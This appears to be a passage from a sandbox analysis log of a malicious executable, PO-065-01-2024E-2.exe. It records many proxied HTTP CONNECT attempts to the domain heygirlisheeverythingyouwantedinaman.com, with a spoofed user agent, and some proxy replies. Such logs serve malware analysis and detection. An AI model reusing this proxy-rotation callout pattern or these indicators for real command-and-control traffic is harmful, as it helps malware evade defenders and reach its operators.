Mar 11, 2024 16:41:50.316797972 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1168	192.168.2.10	52051	91.134.140.160	8879	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:49.824532032 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1169	192.168.2.10	52125	157.25.92.74	3128	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:49.827806950 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1170	192.168.2.10	53226	98.162.25.7	31653	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:49.840908051 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1171	192.168.2.10	53493	89.218.8.152	1080	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:49.842614889 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1172	192.168.2.10	52161	103.97.179.115	1080	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:49.925957918 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:52.989219904 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1173	192.168.2.10	53501	51.159.221.176	10309	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:49.934679985 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:50.583211899 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:51.489547014 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:53.286181927 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:56.785996914 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:00.286039114 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:03.786076069 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:10.787555933 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:24.676429033 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1174	192.168.2.10	53121	54.38.181.125	3128	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:49.937062979 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:53.098278999 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:56.098906994 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:02.192826033 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:14.207556009 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:26.207660913 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:38.207545042 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:41:02.238751888 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:41:50.269963026 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1175	192.168.2.10	53500	47.56.110.204	8989	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:49.937172890 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1176	192.168.2.10	53519	51.158.72.165	16379	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:49.941831112 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:52.273624897 CET	536	IN	HTTP/1.0 501 Tor is not an HTTP Proxy Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 53 20 50 72 6f 78 79 2c 20 4e 6f 74 20 41 6e 20 48 54 54 50 20 50 72 6f 78 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 73 20 70 72 6f 78 79 2c 20 6e 6f 74 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 3c 2f 68 31 3e 0a 3c 70 3e 0a 49 74 20 61 70 70 65 61 72 73 20 79 6f 75 20 68 61 76 65 20 63 6f 6e 66 69 67 75 72 65 64 20 79 6f 75 72 20 77 65 62 20 62 72 6f 77 73 65 72 20 74 6f 20 75 73 65 20 74 68 69 73 20 54 6f 72 20 70 6f 72 74 20 61 73 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 0a 3c 2f 70 3e 3c 70 3e 0a 54 68 69 73 20 69 73 20 6e 6f 74 20 63 6f 72 72 65 63 74 3a 20 54 68 69 73 20 70 6f 72 74 20 69 73 20 63 6f 6e 66 69 67 75 72 65 64 20 61 73 20 61 20 53 4f 43 4b 53 20 70 72 6f 78 79 2c 20 6e 6f 74 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 20 49 66 20 79 6f 75 20 6e 65 65 64 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 20 74 75 6e 6e 65 6c 2c 20 75 73 65 20 74 68 65 20 48 54 54 50 54 75 6e 6e 65 6c 50 6f 72 74 0a 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 6f 70 74 69 6f 6e 20 69 6e 20 70 6c 61 63 65 20 6f 66 2c 20 6f 72 20 69 6e 20 61 64 64 69 74 69 6f 6e 20 74 6f 2c 20 53 4f 43 4b 53 50 6f 72 74 2e 0a 50 6c 65 61 73 65 20 63 6f 6e 66 69 Data Ascii: <html><head><title>This is a SOCKS Proxy, Not An HTTP Proxy</title></head><body><h1>This is a SOCKs proxy, not an HTTP proxy.</h1><p>It appears you have configured your web browser to use this Tor port asan HTTP proxy.</p><p>This is not correct: This port is configured as a SOCKS proxy, notan HTTP proxy. If you need an HTTP proxy tunnel, use the HTTPTunnelPortconfiguration option in place of, or in addition to, SOCKSPort.Please confi

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1177	192.168.2.10	53528	93.190.141.102	14888	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:49.942095041 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:50.235671043 CET	226	IN	HTTP/1.1 403 Forbidden Date: Mon, 11 Mar 2024 15:39:50 GMT Content-Length: 101 Content-Type: text/plain; charset=utf-8 Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 33 20 46 6f 72 62 69 64 64 65 6e 0d 0a 50 6c 65 61 73 65 20 74 6f 70 75 70 3a 20 68 74 74 70 73 3a 2f 2f 61 73 6f 63 6b 73 2e 63 6f 6d 2f 61 64 64 2d 6d 6f 6e 65 79 2f 65 36 39 34 64 34 34 37 65 39 64 33 32 38 34 32 37 31 38 38 66 37 33 33 62 31 34 62 36 39 38 35 0d 0a Data Ascii: HTTP/1.1 403 ForbiddenPlease topup: https://asocks.com/add-money/e694d447e9d328427188f733b14b6985

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1178	192.168.2.10	53494	106.105.218.244	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:49.942543030 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1179	192.168.2.10	53490	175.183.82.221	8193	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:49.948147058 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1180	192.168.2.10	53550	23.137.248.197	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:49.948487043 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1181	192.168.2.10	51963	184.178.172.28	15294	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:49.949281931 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1182	192.168.2.10	53497	5.202.104.22	3128	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:49.949309111 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1183	192.168.2.10	53555	47.243.205.1	3128	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:49.949512959 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1184	192.168.2.10	53504	185.220.226.128	808	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:49.952009916 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1185	192.168.2.10	53545	49.13.131.163	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:49.953938961 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1186	192.168.2.10	52196	192.111.139.162	4145	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:49.960114002 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1187	192.168.2.10	52412	174.77.111.198	49547	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:49.965455055 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1188	192.168.2.10	53625	43.157.17.146	443	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:49.992273092 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1189	192.168.2.10	53627	43.157.17.146	443	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:49.993618965 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1190	192.168.2.10	53628	43.157.17.146	443	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:49.997647047 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1191	192.168.2.10	53290	69.61.200.104	36181	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:50.046025038 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1192	192.168.2.10	52106	148.66.130.53	31907	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:50.056111097 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:53.098601103 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:56.098902941 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:02.192842007 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1193	192.168.2.10	53629	43.157.17.146	443	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:50.075122118 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1194	192.168.2.10	53573	45.12.31.104	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:50.097862005 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:50.252959967 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:50 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1195	192.168.2.10	53565	188.166.17.18	8881	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:50.103058100 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
